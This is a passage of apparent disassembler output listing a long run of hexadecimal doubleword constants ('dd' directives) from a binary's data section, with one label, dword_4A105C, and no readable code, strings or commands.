0D5B665DAh dd 54C29068h, 0D329E15Dh, 80B9376Ah, 1594AC6h, 0AFE540FFh dd 777F54F0h, 483DE879h, 984E810Dh, 8E91E909h, 0D409E579h dd 0F55E5A01h, 40F39B18h, 2ACBB45h, 25A210A4h, 0FC64885Dh dd 490C7500h, 71EAD139h, 80F6CA42h, 5340012Ah, 40010D8Bh dd 585911C5h, 0D458B794h, 0C90BCBA4h, 0F600CA5Fh, 2DBA6FC0h dd 91530AF7h, 601F4A00h, 0FEFD2959h, 781C9A7Dh, 92C00B8h dd 1E870506h, 485B2D0Fh, 25A02C87h, 3D375F2h, 494D3539h dd 0F7F80A59h, 0E830C1D0h, 882D0A04h, 0F0A404B6h, 0BA6FD4E9h dd 97212FCCh, 72F90C09h, 821575Ah, 0CC947212h, 50F3C4E9h dd 0EF27F6ACh, 0B276B7Ah, 0BDE11CD5h, 8E0BE312h, 96BB9675h dd 6B686001h, 7F5E2C60h, 5055EECh, 804DFA33h, 28201D62h dd 0EB2631ECh, 6F30E75Dh, 4A0C6853h, 4E7ACA6Eh, 502C10F6h dd 0BFD20B3Fh, 87205CC6h, 0E6C102E8h, 74B76808h, 0BE3218D7h dd 6E6401B9h, 0E9464E09h, 0B412C54h, 57EC380h, 0B4F88A43h dd 0EE568B8Eh, 3870C998h, 0ABDA5841h, 12C11D24h, 3A0731CDh dd 5D5816D2h, 452D1D5Ch, 0C3632225h, 9870CCCh, 5CD9BF56h dd 12E96B92h, 9654F30Eh, 4293ACD1h, 48E9CA3Ah, 3DA54FB4h dd 0B3123C20h, 7E531B6Eh, 0E9E84E7h, 21E2C548h, 0C10E82BDh dd 0B3A9A150h, 45C9C0DFh, 409E9EDCh, 0B5515266h, 6D924B5Ah dd 6703071Bh, 0EA8871EDh, 0BEC2F059h, 0FE6D28C7h, 91B050B0h dd 0C0D825F6h, 1C755658h, 0C88B2C80h, 81002B64h, 0A2AA9CEEh dd 80C7A1F5h, 801CAE04h, 0CE89DFD6h, 0E6B85620h, 0FC525B79h dd 1869010Bh, 4BDBF777h, 0EB46AF40h, 0E9A4093Dh, 4FEE21E6h dd 0F3DF8382h, 44FF683Ch, 2CB0A7E9h, 0F343D2B2h, 44938107h dd 41664874h, 0CD122E0Ah, 80454601h, 0F47FD01Ch, 0A169788Fh dd 1FADC22h, 0AC6A7BCAh, 0AF1F600Fh, 68BC0800h, 0B0E9D589h dd 0AC3FE17Fh, 96C1A4C4h, 0E36ED1FDh, 0D96802E7h, 5734381Dh dd 2C5FDDC1h, 0C0A84F69h, 7428E9F1h, 2D03BDB9h, 0B946FF36h dd 0BE0B4E29h, 9BACCA53h, 2ECFF5F5h, 0E9082CCBh, 5D13CD7Ah dd 5B698FAEh, 0A1C89EF8h, 77DBE01h, 7720659Eh, 60347586h dd 4EC40C14h, 21F9477Fh, 9117F83Bh, 43C1315Eh, 0DE7A3CFDh dd 32BA4FE6h, 0FCC2C252h, 0A1D00827h, 0CA5A5808h, 1B8279C3h dd 5EAF3F65h, 35C2426Ch, 9CC18FFh, 0AF4C9FDDh, 0B5FC09F9h dd 0CF9094E7h, 636DB146h, 807DD877h, 0FCA8B799h, 1279D1D4h dd 0D005EF2h, 4AE82151h, 34FA5801h, 64E5507h, 15C7E00Bh dd 2D25A964h, 0F9EC6447h, 0B438ED4h, 0F6E93DC3h, 68559921h dd 0F1287A02h, 0BFE86201h, 53F7525Dh, 0B0D4E92Eh, 82CAB958h dd 12D8D660h, 95F82980h, 9C058E40h, 46E0839h, 130A685Eh dd 4BA98AABh, 129E1DBCh, 1931FF42h, 9D515309h, 0AE052C2Bh dd 4BD2DBC0h, 0C10E3E7Ah, 0ABF705A7h, 90322064h, 9F1B3D2Ch dd 80450EAh, 9A0AE58h, 0EE3325E9h, 4C98FDC4h, 2761C40Fh dd 14E73FC5h, 0F27AF799h, 0FE87CB2Fh, 9FAE58F2h, 39E2783h dd 0CA2634D6h, 8C641A03h, 0A5DCD920h, 9DF4BE64h, 0B0AE2ED1h dd 3A40EA17h, 7E394B2Dh, 94C3FE78h, 0B07E5275h, 50B95C25h dd 139438E9h, 0B2A9C52Dh, 9FD619FEh, 3D14D52Dh, 0D79F4F25h dd 5B95B316h, 0E27E6A80h, 4C553E91h, 5FEEF590h, 0A1D9BF09h dd 4FA57025h, 565CC265h, 98611C5Fh, 8CCA5E65h, 174158C8h dd 41FC3931h, 0A9C99F8Fh, 0F3E27B02h, 0FAABF202h, 60557275h dd 0B5C15BE8h, 0A609E2D6h, 0F51E7D63h, 384DBA00h, 73E94BDDh dd 0E26FB454h, 0FE992BFBh, 1FE87B5Ch, 0B65044A2h, 880AFE9Dh dd 5E2D9EA4h, 6866025Ch, 6BC22E64h, 0E580FE56h, 2F3E3742h dd 87D501F7h, 60E947FDh, 0F2CC7E3Ch, 31ED5BCDh, 0AD6C74F0h dd 253AF811h, 92183AC9h, 3F004823h, 21CE8157h, 391D1917h dd 0DE17D6F7h, 0ECEA17E9h, 5B0B9E71h, 9507E4C4h, 0BA2834F1h dd 0C060C327h, 9F0BA8A8h, 0F7BC21EEh, 7D3DD4C2h, 750B6D94h dd 0F840DE08h, 0EAA02C71h, 60C46E88h, 29818045h, 0CDE65AD1h dd 0C2E01A95h, 8DB5772h, 79DFA08h, 8580B359h, 0F6BCB046h dd 0C701D778h, 5BFD28ACh, 0A16EE52Ch, 0E922D279h, 2D5D546Ah dd 0AEE419E3h, 1E25BEF3h, 0E1BB9C87h, 3B146840h, 0B026D0A9h dd 0E922056Fh, 48DBE886h, 118D01CCh, 0C783012Ch, 93EE3CEBh dd 31456F0Bh, 510831D2h, 152923E9h, 0C9C49958h, 0BE90471h dd 0AD9F16FEh, 0BFF4F4ECh, 77D05A4Ah, 2AB8BD17h, 807A5D39h dd 76135147h, 9F0964B8h, 0D52D1A0Ah, 0C33C8B8Fh, 16C256D6h dd 45DCF450h, 95E17F82h, 0E4F9307Fh, 5077DDAAh, 0BE56026Ch dd 8B7A26E7h, 187FA3F5h, 0C19903CCh, 0CAECE682h, 1FEACFF3h dd 5F3A99D0h, 0C45AD453h, 0BBB1740h, 4F5C61C7h, 0C486978h dd 4CBD76A1h, 18542CD6h, 89D7C997h, 0DEC4DFD4h, 200B80B7h dd 0C119C54Dh, 0C704E1Ah, 0B5A03FC0h, 6B89BF77h, 0B01155Fh dd 0DA62EAE9h, 858F15F6h, 0A415AF56h, 0CCFE0695h, 395B6BDFh dd 0DA1024CFh, 983320ECh, 0C62D2099h, 3DEE6813h, 92B33635h dd 17E90D62h, 565A8570h, 0CE3B8AC9h, 2FCF0068h, 5687C9Dh dd 0EC122D2Eh, 0CE53B07Fh, 532C0A62h, 208DF201h, 5EE91208h dd 3A282973h, 0F42DA1CBh, 5395C578h, 9ADF2526h, 0DBDB066Fh dd 8BF3044Fh, 97306121h, 0A14BE5A6h, 96DDDA05h, 2959164Bh dd 61E4444h, 0FD880758h, 74876C22h, 402DBF86h, 312E972h dd 0B105DC7Ah, 7022DE8h, 0F53C8B5Dh, 6A7182D9h, 6604C678h dd 0BA06685Fh, 0E950C830h, 2DDBB60Ah, 7752047Ch, 0AE208952h dd 160C909Bh, 4A75289h, 8FC4F8FAh, 4E9A42C9h, 0BC6A95F1h dd 0E3FBE411h, 0C3810AB8h, 0E9C3CF02h, 0A8AF7869h, 80B3F88Dh dd 800552B6h, 0C6FE05E6h, 0DABFA70Bh, 14340630h, 5E31108Bh dd 175FB8FCh, 0A1044E6h dword_4A105C dd 0ABE9CF14h, 6EE4FDC5h, 0C8B70F02h, 57260D68h, 562B1619h dd 7CF0AA83h, 74FBD3Bh, 703B52E3h, 52F181Ch, 0E948AC56h dd 0DC17EAC2h, 0FBD6A5A2h, 0BC7A093Dh, 5CD5A120h, 1C6C77C2h dd 6221D695h, 997D9ADFh, 32AF7814h, 5E5031DDh, 603626Ah dd 0F28171F4h, 40E84AE1h, 9CA8D630h, 8025BE4h, 0D93C55BBh dd 42946A3Ah, 0D8C45DAFh, 4BA85297h, 7A74F905h, 881D0F24h dd 0A78C32BBh, 6A72D929h, 9D421754h, 0C27AECADh, 112D16C0h dd 9863975Ch, 68A140B7h, 0D130C72Fh, 0C8FF6916h, 7EDD2DFBh dd 0CFC448A4h, 215BA925h, 9712E946h, 5759C15Ch, 623809FDh dd 2CE82801h, 0D8596658h, 345A04D8h, 8214F188h, 0B606674Ch dd 0C4B7E9BCh, 0E8F8B54Dh, 90E8AD5Bh, 0F9286C0Dh, 59D9D712h dd 7FF64DEFh, 646CB1E1h, 0FEC182F5h, 3CBE030Bh, 81807E25h dd 0EDFA60B4h, 0AFA7C65Eh, 0F85DEF16h, 0A1E789CFh, 0FC04ACF5h dd 0BD52D8C0h, 0E9842695h, 0A4AABD62h, 0A05ED93h, 5A7AA228h dd 13E412FBh, 0FE2D851Ah, 0FE939EE7h, 0DF3FBB92h, 52210196h dd 6B912CBAh, 454F45D4h, 66FC0AB0h, 3433EDC4h, 0B7A1AD16h dd 0BE55D56Ah, 8C92108Ah, 0F324E983h, 26B1C0Dh, 0B31157Ah dd 20E61300h, 0F2973883h, 0E9071C32h, 7CA1E091h, 72F33EEAh dd 4CFE5628h, 55CF2C7Bh, 0F587262Dh, 0F6913A2Dh, 0D13AB951h dd 2AC8290Dh, 0BC7B47D9h, 0A09AF250h, 4D85BDBCh, 0F77B1855h dd 0E512ADDh, 0D8476628h, 0EE86CE09h, 208D5871h, 0E7FA081Bh dd 964E937Bh, 1F58C801h, 812A76FCh, 592D90DCh, 41F82ADDh dd 8D1292D4h, 0C4B5ACAFh, 0B4093680h, 0ACEA0782h, 92BDE47Bh dd 86C9345Fh, 1010E77Ah, 0F2589871h, 751BDA00h, 1068437Fh dd 86E2654Dh, 77110B70h, 0CA3F27CBh, 931F96D3h, 606E3A6Ch dd 53BD55F9h, 573E4830h, 0A3C7B216h, 0C3800C07h, 7670062Dh dd 0E990CE28h, 4B49AC17h, 73A619F9h, 0C74A1790h, 66C99AFDh dd 9A6FA4DCh, 0C00FDCDBh, 0FE2858B7h, 6EB05BF0h, 0E890CEEAh dd 0EE80A102h, 5054E9D5h, 0BA242FB8h, 4839675Eh, 20E948DDh dd 0BC63BC71h, 0CC5DE392h, 375A86AEh, 0B4D4DA7h, 0FEC1F9C4h dd 4F6812E4h, 7F729AE8h, 4A7D6D38h, 29A0AEFCh, 0A2B758C5h dd 0B9FA768h, 91E3C56h, 21415D4Eh, 46116849h, 0E4718C2Fh dd 0E011EA67h, 3EDF3773h, 21925E0Eh, 0C9BA21C1h, 0EF35F509h dd 39468DEAh, 7CBD881h, 75CEB57h, 0A6D932E9h, 10DD5BD6h dd 6267C32Bh, 144A5A13h, 0BB8FAADBh, 657C599h, 3149F4C0h dd 187358FFh, 0DC6D4105h, 0AAFD802Fh, 0F3B5547h, 203B48D1h dd 99464CB6h, 3B30E605h, 9230EE17h, 4F46EF6h, 0ABE94264h dd 3EEECA07h, 0F1442553h, 8385A7AEh, 78D4F15Eh, 8635D4DAh dd 5DC9918h, 6F5D5BBFh, 0C120FB35h, 0FF95214Ah, 7212A542h dd 4FDEEE4Eh, 5ECEF26Fh, 0B72E568Dh, 0D0EE8FCEh, 0A130E982h dd 0D926CE44h, 0C02F5D19h, 79217EC7h, 0E30EC0EDh, 6CEF7F82h dd 57F59FA0h, 7EC03Eh, 11169DEBh, 4F4FE92Ch, 2FCB3D74h dd 55DF8B80h, 0BB7C1A19h, 8ED50BE1h, 73A2499Dh, 9E780D78h dd 48F03A4Dh, 3E5414D4h, 0C804CA60h, 0AB1E7A14h, 9DC85C6h dd 0C777FE84h, 7C18605Dh, 8358819Fh, 0DE8679AEh, 43BFE1F0h dd 8831D753h, 0F6454001h, 0BF799224h, 0E1156B04h, 4353AC1h dd 3068EC30h, 10A8DAFAh, 0EC276257h, 0BD04C87h, 0F24E5E4Dh dd 638484AEh, 616D1A9h, 1125054Dh, 2AFDCDCFh, 0AC12BFA7h dd 4B89B23Fh, 85752EFh, 8426B7D4h, 7BEC716h, 0D259588Dh dd 19760114h, 16FE1B97h, 968BEA7Dh, 0B895A413h, 17AAB529h dd 2BD3DD0Dh, 4664C930h, 0AA235AA2h, 2E08C610h, 8F646E5Fh dd 5A0F09EAh, 0F22FDC59h, 5EC87A6Eh, 0EB5D3594h, 0E9C2D6B6h dd 0BBD56555h, 0DB51B2D9h, 0BA564BDDh, 0AC4EC14Bh, 8713B841h dd 4CCD34A4h, 0B1385104h, 590F77D1h, 3CF08850h, 0EF5EC5DDh dd 6C25859h, 722CA434h, 44900B0h, 72B55163h, 37B0CD80h dd 70E1F525h, 95CCBD68h, 19856817h, 0AB02D1B3h, 0E2C0C2FEh dd 0A9B635E0h, 5890F8A4h, 0FC1F882h, 0C410F0BDh, 63A0604Bh dd 0E36F4FCDh, 84ED4E8Ch, 49A592Bh, 92738E9h, 4086F15Ch dd 0C18077B2h, 98E9AD17h, 0EB3DD2ADh, 14E430Fh, 0A9708A65h dd 3312026Fh, 0E0564661h, 2C775B65h, 114A0543h, 1DE526E4h dd 42263002h, 0F2B84013h, 1DBC0466h, 172F33E9h, 0F9F5D0F8h dd 0C91E8600h, 0EEC2068Fh, 0C36787Eh, 0A0A22D1Eh, 0D2ED023Eh dd 5009284Ch, 8C55059h, 0D87AC15Ah, 0B80F8F67h, 4891CE4Ch dd 0D96A661Bh, 2E32CD2Bh, 12B41738h, 0ABE328C4h, 74E24BF5h dd 67E95051h, 5215EDBCh, 0E1DB102Bh, 0EF38C150h, 0BA53C415h dd 2AF26B37h, 258C44BEh, 2FF12241h, 80E2B480h, 1C289FECh dd 0FEC058E1h, 0F8C5EC79h, 76197FE9h, 0F6CFE0EFh, 708DF7C7h dd 6D7DEBCDh, 0BF83833h, 795220C8h, 0AF5A935Ch, 8EEFF612h dd 0FF624FDEh, 1E717D8Eh, 0C350F28Ch, 0F4BC5AD6h, 989719F5h dd 0CC4046ACh, 5C95F125h, 1863DEF6h, 85B04B17h, 5BFDCBFAh dd 1A9313EFh, 955C18C7h, 76A89E09h, 0F7E95BECh, 0BE849CF9h dd 39BB7F40h, 259FCE81h, 0E1F88042h, 1306D7Ch, 4D9B0C68h dd 182758D9h, 4C1FEC75h, 66204110h, 0A5245A60h, 252A902Eh dd 0FC7C6468h, 95C5CC6Ch, 0F95ABF56h, 685D61CBh, 4D27AAFh dd 0FC47DF0Ch, 21815E2Dh, 0DF878FFEh, 0F7F80B49h, 321E709Dh dd 0F779F6CFh, 0D95EF169h, 0B6E2F7DDh, 25BCD5D6h, 30BF109Dh dd 0DFD3E4DAh, 0CAADBB08h, 5B17C259h, 0BA1C08h, 0BA2CD81h dd 0AE9035E8h, 0C6709E05h, 0BBA89CCh, 2683B0Bh, 418222D6h dd 427E47F3h, 0E1304243h, 56F5A980h, 210949EDh, 56E657E9h dd 0CC044BA1h, 0CB1AF861h, 0EBB7438Ah, 10DD503Eh, 1B093E4h dd 6F3B1EB9h, 9EEB2043h, 235E3D90h, 82610BFh, 55FF593Ch dd 882B1751h, 8FE25E51h, 9233B2C5h, 9F206C8h, 0E2A85AFDh dd 0DFA961F7h, 23231ACh, 73E61091h, 0D01E456h, 34D060EBh dd 80352730h, 7295EA81h, 0AB0CD29Eh, 0E950AA42h, 9A4E80Ch dd 5D79EEEEh, 5C936970h, 0B2F01204h, 0DBBCD6CBh, 3B87BCE2h dd 4D0F20E5h, 0CD5F8747h, 0E1158EA8h, 9259C590h, 0EA2AE748h dd 1C0B25D8h, 0FCCDF919h, 519F71CCh, 0BCEEC2CBh, 1378F15Fh dd 80F6E252h, 86E9CB88h, 4F66B7A3h, 0A3569830h, 2F667FCEh dd 2E5F227Eh, 0B600720Dh, 4C958AD5h, 28EF9221h, 16445063h dd 0B83C8068h, 0F500E463h, 39DA4C0Bh, 66F4A801h, 2D5E0010h dd 0D5BF5749h, 2713786Eh, 0B7539BE9h, 402884A4h, 0D64AF74Bh dd 0DCC7E402h, 33A2C018h, 405D8296h, 3E25E712h, 0CA14415Dh dd 0EA023D4Ch, 3F33210Fh, 209FCF5Ch, 402B2600h, 5C8EE05h dd 0BFE9140Ch, 782FFF5Ah, 0C528E94Bh, 0DABA2C8Bh, 0F5D94B49h dd 0F660DC29h, 55946285h, 73664F60h, 0B7266F76h, 34BD26A0h dd 6826647Dh, 0C81613F7h, 0BC7F63F1h, 7771F23Fh, 292FF8F0h dd 0FF031ECEh, 0E9E0B73Dh, 5695E62Fh, 0EE5C446Ch, 0E916F7B3h dd 542BF4A9h, 0A54B73B5h, 96685010h, 0E8B3755Eh, 60BEE80h dd 0F2BD28A9h, 400882A5h, 0D79DB358h, 0E527FB82h, 2605C4A5h dd 0F2EE5BDFh, 0C5E21090h, 0C2EF8102h, 0FD8E110Fh, 4940FBC0h dd 0F84C319Fh, 0C113405Fh, 862F610Bh, 76857D69h, 5FF792D3h dd 0C08BEBFEh, 79B1E41Fh, 0BB5C2057h, 594A5D90h, 39F7CEA4h dd 0E90DC771h, 0E35FD03Dh dd 348345B0h, 83937A97h, 161C0E08h, 0EA53375Bh, 9C7A39D1h dd 2CFC3AA5h, 4FFB3E3Ch, 0D3C5ADB8h, 5287E3B8h, 13F4A54Fh dd 0B900F1EDh, 0CF2D1846h, 70047F7Ah, 0B869D094h, 0D450539Ch dd 0D7601A82h, 0C495F153h, 23B9486Ch, 9068592Dh, 93BD61B4h dd 8A4CC15Fh, 0C2AF202Bh, 2A24119Dh, 0C1DBA6Eh, 0E97005BDh dd 0DB454414h, 9C105EF5h, 0E46513F0h, 0C1AD1ED7h, 9DA294ECh dd 6649D85Ch, 1DB50784h, 3459EB28h, 59D2F2C3h, 0A4A17EF5h dd 0E1C381C8h, 341A2001h, 1C9CD02Eh, 2A0B763Ch, 5979C6E9h dd 5A5D2CD0h, 9F10E45Fh, 9922BEC0h, 0CB71D695h, 0D87F0905h dd 254A192Ah, 0AD05B3B3h, 4317B845h, 65068F3h, 97B1E513h dd 0BD3E4A89h, 0FC582FDBh, 89262E40h, 0FD74D07Eh, 95BF4478h dd 0BE20C894h, 5ADB88E7h, 9006B756h, 465F48D4h, 40EED0D0h dd 2C4C2435h, 0D8EB0B6Ch, 0A79A0433h, 4072CE5Eh, 11E9449h dd 6B8233Eh, 7E70FD38h, 256DF886h, 5D4E3308h, 7B17E9F7h dd 82BF7352h, 4DDE7916h, 54012EA6h, 0F209E0D2h, 0E1825020h dd 0E521BD6Ah, 0F134930Bh, 0B9EF452Ah, 0C72903F0h, 2E803E9h dd 6C51C1CFh, 8405376h, 9A312733h, 4AD3D417h, 0B84543D4h dd 2AE90C9Dh, 0E50E0497h, 6661E00Fh, 42676B4Eh, 0BE207F9Ah dd 20623798h, 0B668F9FAh, 5A279365h, 1A5B65FBh, 3BDABAD7h dd 2029680Ah, 0F2EF8DDEh, 9A042E2Ah, 0E1A25E66h, 2F196A86h dd 14771C24h, 0DFA7D742h, 42FCDB1Ch, 5A56D565h, 0F962F504h dd 0AEE82804h, 0A45E0C61h, 0D5FBF23Eh, 0C0AC2F6Eh, 5B016843h dd 64F23162h, 6257BDBh, 0B50FB885h, 7C57A659h, 0C58DEEADh dd 0FFC8013Eh, 0FA93AEB3h, 2E855365h, 96FEA3FEh, 48872CBEh dd 452E8792h, 5817B54Dh, 5027DD90h, 6103408Fh, 63BA0114h dd 62FE00FFh, 10E926C7h, 0A5D99FA5h, 0D16FEB4Eh, 37970289h dd 50614AF2h, 0D61E05ADh, 0C68DE292h, 5F1ABA7Ch, 8B8EEFBBh dd 5AD7A8F7h, 815027E7h, 0B7965A60h, 23257BBFh, 0CAB118ABh dd 0E3335C1Dh, 4F3AC302h, 874027D5h, 0B93071B0h, 4A80C4Dh dd 6E2A40E3h, 2B5E7C18h, 4A867830h, 9E6A0EFh, 29EC6078h dd 885089Dh, 0DF9B752Fh, 69B2A48h, 0CA012105h, 8822Ah dd 91E5E85h, 959265h, 130C1DA9h, 0AE9EA01h, 4D607B5Eh dd 0C7282668h, 0BD3B6D9h, 0AD5FB07Fh, 54E70025h, 4BD5E981h dd 0D1277E86h, 0C967C8E1h, 550A1809h, 786E222Eh, 0E5604C24h dd 0B4B66907h, 0DFCF0962h, 0F4C3AD72h, 76AB5006h, 75B11226h dd 0EBF80085h, 62CF729Fh, 3DC1295Bh, 1639DA3Fh, 0DF71C200h dd 0D631BFCBh, 0EB4A46FCh, 0ED0170AEh, 63E07E9Ah, 57685A0Bh dd 524EF46Dh, 0F7C3325Fh, 0FBAD8851h, 0F8D8932h, 0D67AAC54h dd 94D7EB4Dh, 12687E23h, 0C549426h, 301C5BECh, 8B30C377h dd 2DF2B30Bh, 5D683008h, 3271930Ch, 0F8EA0C50h, 0D1CCE501h dd 0B53E22Dh, 40CF4820h, 0F968681Dh, 0D612DB0Bh, 0CA4A95A2h dd 3350012h, 0E944392Bh, 40809501h, 4B7693BFh, 0D6A8BA4Fh dd 8305074Eh, 4E71F9C3h, 11A4508h, 6C3E24BEh, 817D300Ah dd 4A04CE05h, 878216C9h, 0F4EE5F28h, 988B3220h, 4027A1Ch dd 3C683E11h, 10E9F370h, 0BB01B50Dh, 508A1B4Dh, 68FA4243h dd 5A973AC4h, 0EF5AF689h, 922E466Ah, 0CF82360h, 8CB58E13h dd 4E0328B0h, 0C0DBE9A4h, 45DBB850h, 2D6900CFh, 48B37605h dd 4D0B6035h, 78406CA1h, 17FCFCB2h, 0BFDCE295h, 0E9504C02h dd 17D7D090h, 0CC04E568h, 2B530B8h, 0A0A6BD76h, 23EABA93h dd 31763A11h, 1D9BE7D4h, 8026357Bh, 3413C3E2h, 0D225E92Ch dd 13E845CCh, 46D7FC85h, 0AE207BE3h, 8D574A71h, 87A83F3Eh dd 0EEC0FAD2h, 9D74E5E9h, 0C7EB70C8h, 0E442F16h, 0B9986E0h dd 29E25A94h, 0F50131DEh, 17FB27D8h, 660F0B28h, 0EAEA432Dh dd 0FD082099h, 25390BE0h, 257A6386h, 0C6E90881h, 0FE8066F2h dd 0B1045153h, 59CB8809h, 92AC42B4h, 7C76B7D4h, 5E8DC142h dd 8A1A63BDh, 2D1C1120h, 80FB8326h, 9BC7F08Ah, 4A28CE81h dd 0B4EC6896h, 0F821C499h, 0DB98BE89h, 13C5B1ABh, 0AA7CC5DAh dd 75108A5Ch, 778D5928h, 11122560h, 8A0ABD6h, 865A5828h dd 4C6F1900h, 5C173530h, 480D0F1Dh, 0F900E0D1h, 5403C4Fh dd 61D61F04h, 0AD8757C5h, 56196CD2h, 0B12D17FFh, 44342FFBh dd 3234EBEh, 0E9FACCB2h, 1038C031h, 0D66DE821h, 0E453EF8Fh dd 0D0470DBh, 0D3F73F4Ah, 1DBE5483h, 0A7ED801Dh, 340F26D1h dd 0A0A9EBA3h, 0C0BFBA54h, 0AB2AEF0Bh, 2237C741h, 57206E1Dh dd 0AF3A1224h, 0D840FE36h, 26491575h, 803FEDC1h, 77E3A46Bh dd 9CE9EF08h, 875E07CCh, 86BF83F7h, 8426505h, 0F0AA252Ch dd 0B102E3EEh, 0E92DEE60h, 471849C2h, 4A97EA20h, 7B8AA7DCh dd 0A5C0F64Ah, 745A9535h, 0C06812EBh, 4FDE36Eh, 0AFD0E956h dd 0A3DC6FD0h, 0A2CA7F5Ch, 2C895DEFh, 0F640B3D4h, 8CB0C1Ch dd 8556E975h, 8CAE5B16h, 0A19A4264h, 110CBE04h, 338003C0h dd 4A5277C1h, 5ACF94Bh, 0D32F6BD9h, 4AD2C2ABh, 736A9280h dd 7C9F608Ch, 0EAD1E3A4h, 0E5AD0440h, 0A0543E13h, 2FC3A908h dd 0D2495D5Eh, 8E9635D2h, 5ECDE384h, 0E1A20BA0h, 0B582FD3Eh dd 3C20BB8Eh, 9EC5FA5Fh, 0B5C8E2FAh, 6E559C40h, 0BF582147h dd 0B20D4F00h, 0E0978638h, 61A6EBh, 0CD8156D1h, 6610202Ah dd 83D5F707h, 6EBE01C5h, 724A84A6h, 0D7565580h, 310D2654h dd 4EDA2F3Bh, 2C512220h, 9384C4E9h, 48C9CA5Fh, 79E25F6h dd 597404B9h, 2337CEBEh, 2577A502h, 4EA345Dh, 17EDBEF7h dd 0C0720B0h, 89C6D888h, 0E9135594h, 9AA444CAh, 1B3A1248h dd 0AB605612h, 587619D0h, 8F734D4Eh, 1BDF7005h, 82E68109h dd 0E41364F1h, 0C8121638h, 0ADF2027Ch, 5570ED59h, 0EDE9E0E9h dd 204E2B3Dh, 0BD0156CFh, 6C5E6859h, 2571FFC2h, 901BC64Bh dd 0BB1D400Fh, 3F0CD20Ch, 0D7CE9A4Ah, 3FD8E10Dh, 43C492E8h dd 0AFE618B3h, 91038273h, 6898F9F7h, 389D3445h, 8187531Eh dd 0A9136095h, 0B64BD4E4h, 550241F8h, 5E82939h, 39E80788h dd 8A7C6025h, 0B8CC007Bh, 8845C3Dh, 0E407B5BEh, 0B9E9307Dh dd 22546669h, 0F607DEA9h, 83F96958h, 783E05B3h, 0C93B12F5h dd 0F80FE63h, 3B32F7CBh, 0F30E6D8Fh, 76691412h, 80F9927Fh dd 172C530Eh, 0BA8CF649h, 0DE3002E5h, 0F4885B66h, 286286D4h dd 879EE5E7h, 33C1C780h, 0F7B001EFh, 0F8592835h, 13E984C6h dd 2D4CF3AEh, 0FC5289ACh, 5F59033Dh, 0EDB0108Dh, 932D252Bh dd 1418F006h, 84B3FD64h, 0AE41F934h, 53DD8BF0h, 53489FB0h dd 712B518Bh, 4BC9BCD7h, 0FE7F015Ch, 0E53F24C0h, 4F8E3C25h dd 8B806594h, 2D3EDBEAh, 7B765853h, 4E06E9F8h, 4E6FA3AFh dd 264CF4CAh, 1239E900h, 55E1434h, 0D94A4B9Dh, 443F456Ah dd 0ADA69806h, 12DA3E38h, 950F7620h, 1EA4E5D3h, 40F73280h dd 6054742Eh, 1FA9DAD9h, 10D6058Dh, 0CFEF81AFh, 7B643553h dd 2BE8C9B5h, 9AF6B58Ch, 97671750h, 9D02C5DBh, 0FF1E2261h dd 0DE488970h, 74BE2h, 4D7EEE87h, 136ED996h, 44EB1C88h dd 0EE3E0130h, 291347F2h, 3CC4EAF9h, 1F92BEFh, 205996CFh dd 0EFDC4F4Ch, 0FEDF18D2h, 7322E8CDh, 12A8915Eh, 802E251h dd 251FF629h, 3E68A040h, 0F5683455h, 0F8D1CE16h, 41BF4FBAh dd 16BD736Bh, 245DEDFDh, 52015002h, 0F2473468h, 0C9F45A25h dd 0ED31C188h, 0C2086F3Ch dd 0F52500DAh, 2B327F91h, 0DC9FE9D0h, 0EFE9C17Ch, 0A0F92FA9h dd 0B04268C5h, 8F2FE970h, 0D5366B12h, 9B8414EDh, 77F31019h dd 6887F225h, 82DC27ECh, 0CB72BFD8h, 0D4988225h, 0F109003Ah dd 0B237E95Eh, 0A6B4A5B5h, 435B41C7h, 27CBA8F2h, 603F78CDh dd 1661044h, 292017FAh, 0C28D07Ch, 1C10289Ah, 0B127E95Fh dd 2997168h, 232A7548h, 497979DDh, 169478Ah, 25B4C61Bh dd 98C03E50h, 9A0BE9C7h, 91585E93h, 5BB322Fh, 0A544D7BAh dd 319B44BEh, 431F32Eh, 5D8C3345h, 23062F0Bh, 4093630h dd 30376168h, 821A4709h, 0B7C04477h, 0A8CC7871h, 35280496h dd 0D9D301ABh, 13063A87h, 62B8586h, 0BC3BABEBh, 43018201h dd 0E90FFF2Fh, 0D03E4ECBh, 0F028159Bh, 22045A04h, 9FAE0C8Bh dd 0CCB526C0h, 191C708h, 235E3605h, 0AE843A2Dh, 8D0E0716h dd 70EF171Bh, 0B83680Dh, 0B45027A8h, 33ECC15Eh, 0B5516601h dd 0D8EC304Ah, 0E15C8859h, 0BF755486h, 8A5D5B97h, 0E8524655h dd 0C9A89EBDh, 0E0554133h, 9D505E7Fh, 4DC25A79h, 44F8D9A6h dd 0C5C88812h, 0C3E1EAB7h, 0FC76A034h, 0D529245Bh, 0F4A712C4h dd 6D0FC191h, 662B4A3Ch, 3EF408h, 4422F6BDh, 8398B95Ah dd 0BA5F0526h, 57527001h, 56D8290Fh, 26D707BEh, 0F0466D9Fh dd 186517E6h, 0BB274B7Eh, 2746C571h, 4A816D5h, 0D90DA968h dd 9D3EB46Bh, 0F1C5A160h, 2FB022D3h, 8174015Dh, 52E28ABFh dd 0E904A751h, 0A9AECB4Ch, 0D93378DEh, 0C0C3D942h, 171A3E71h dd 0B450DBF7h, 52508516h, 447B6389h, 0D6095509h, 0EE35E05Ah dd 90100048h, 0E9F089DBh, 88A8855Bh, 82C27DFh, 2902262Ch dd 61770D2Fh, 2100D605h, 35005AD0h, 701D79DEh, 0E6D3F793h dd 61BB0653h, 92656420h, 0C7D6F8C5h, 321927C0h, 87350F0Ch dd 87AF7F3h, 6F0536C1h, 0C227CB90h, 0E4CA4B56h, 0DC627D1Bh dd 0FBE6D06Eh, 0B3530076h, 1A28E9B0h, 6469A4B5h, 7AB823D1h dd 1D59FDBh, 0B4CD9214h, 5A52F3EFh, 0E9F048B8h, 0DC9D8CE0h dd 9C5A5BEAh, 76EBEE17h, 0AE92D0DFh, 3FD8303Ch, 7CA44E73h dd 6B2D416Fh, 0C420AFA1h, 4E46B79Ah, 11B47233h, 9CF3F9E7h dd 5FF02F34h, 0DC75AB5Eh, 7D64D6E4h, 9EFCB588h, 2216B983h dd 0CB01D150h, 83130130h, 0C0F87216h, 5EABB8D5h, 767EC9CAh dd 51A06B64h, 4D2C3F03h, 4F08530Ch, 69B003CDh, 0CA4CF830h dd 82834CADh, 5D48638Eh, 5E4261h, 1E4FB652h, 0D63CE680h dd 5A29A0A1h, 21B76816h, 5A6F19C9h, 0CF570739h, 9264A72Ah dd 4B975620h, 0BFCA285Dh, 44075717h, 5328AFB8h, 47ED0406h dd 1516171h, 